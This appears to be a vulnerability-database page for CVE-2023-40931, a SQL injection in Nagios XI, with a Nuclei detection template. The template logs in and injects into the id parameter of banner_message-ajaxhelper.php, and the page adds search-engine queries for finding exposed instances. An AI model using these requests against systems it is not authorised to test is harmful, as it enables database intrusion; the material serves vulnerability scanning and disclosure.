SecurityContext

CVE-2023-40931: Nagios XI v5.11.0 - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 6.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.11869
  • Epss percentile: 0.96201
  • Cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: app="nagios-xi"
  • Google-query: intitle:"nagios xi"
  • Max-request: 3
  • Product: nagios_xi
  • Shodan-query: title:"Nagios XI"
  • Vendor: nagios
  • Verified: yes

Products

ProductIndexedUrl
nagios:nagios_xiyes/v1/products/nagios/nagios_xi

Labels

  • Name: Nagios XI - SQL Injection
  • Impact: Authenticated attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or database compromise.
  • Remediation: Update to version 5.11.2 or later.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: logged_in
  • Requirements: Attacker must be authenticated
  • Labels source: projectdiscovery
  • From cve: CVE-2023-40931

```yaml

id: CVE-2023-40931

info:

name: Nagios XI v5.11.0 - SQL Injection

author: ritikchaddha

severity: medium

description: |

A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php.

impact: |

Successful exploitation of this vulnerability allows an authenticated attackers to execute arbitrary SQL commands.

remediation: |

Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.

reference:

- https://rootsecdev.medium.com/notes-from-the-field-exploiting-nagios-xi-sql-injection-cve-2023-40931-9d5dd6563f8c

- https://nvd.nist.gov/vuln/detail/CVE-2023-40931

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

cvss-score: 6.5

cve-id: CVE-2023-40931

cwe-id: CWE-89

epss-score: 0.11869

epss-percentile: 0.96201

cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 3

vendor: nagios

product: nagios_xi

shodan-query: title:"Nagios XI"

fofa-query: app="nagios-xi"

google-query: intitle:"nagios xi"

tags: cve2023,cve,authenticated,nagiosxi,sqli,nagios,vuln

http:

- raw:

- |

GET /nagiosxi/login.php HTTP/1.1

Host: {{Hostname}}

- |

POST /nagiosxi/login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}

- |

POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

action=acknowledge_banner_message&id=*

matchers-condition: and

matchers:

- type: word

part: body

words:

- "Failed to acknowledge"

- "SQL Error"

- "right syntax to use near"

condition: and

- type: status

status:

- 200

extractors:

- type: regex

name: nsp

part: body

group: 1

regex:

- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"

internal: true

digest: 490a0046304402205db1bd41544e1e257fdad95f71e342dbe3cfba0e526d6c10603510c76931d5f6022003d0f95c9c611ed62775a0f9b9d4c82fbf81022568e4d75faf2fbb7197014ec6:922c64590222798bb761d5b6d8e72950

```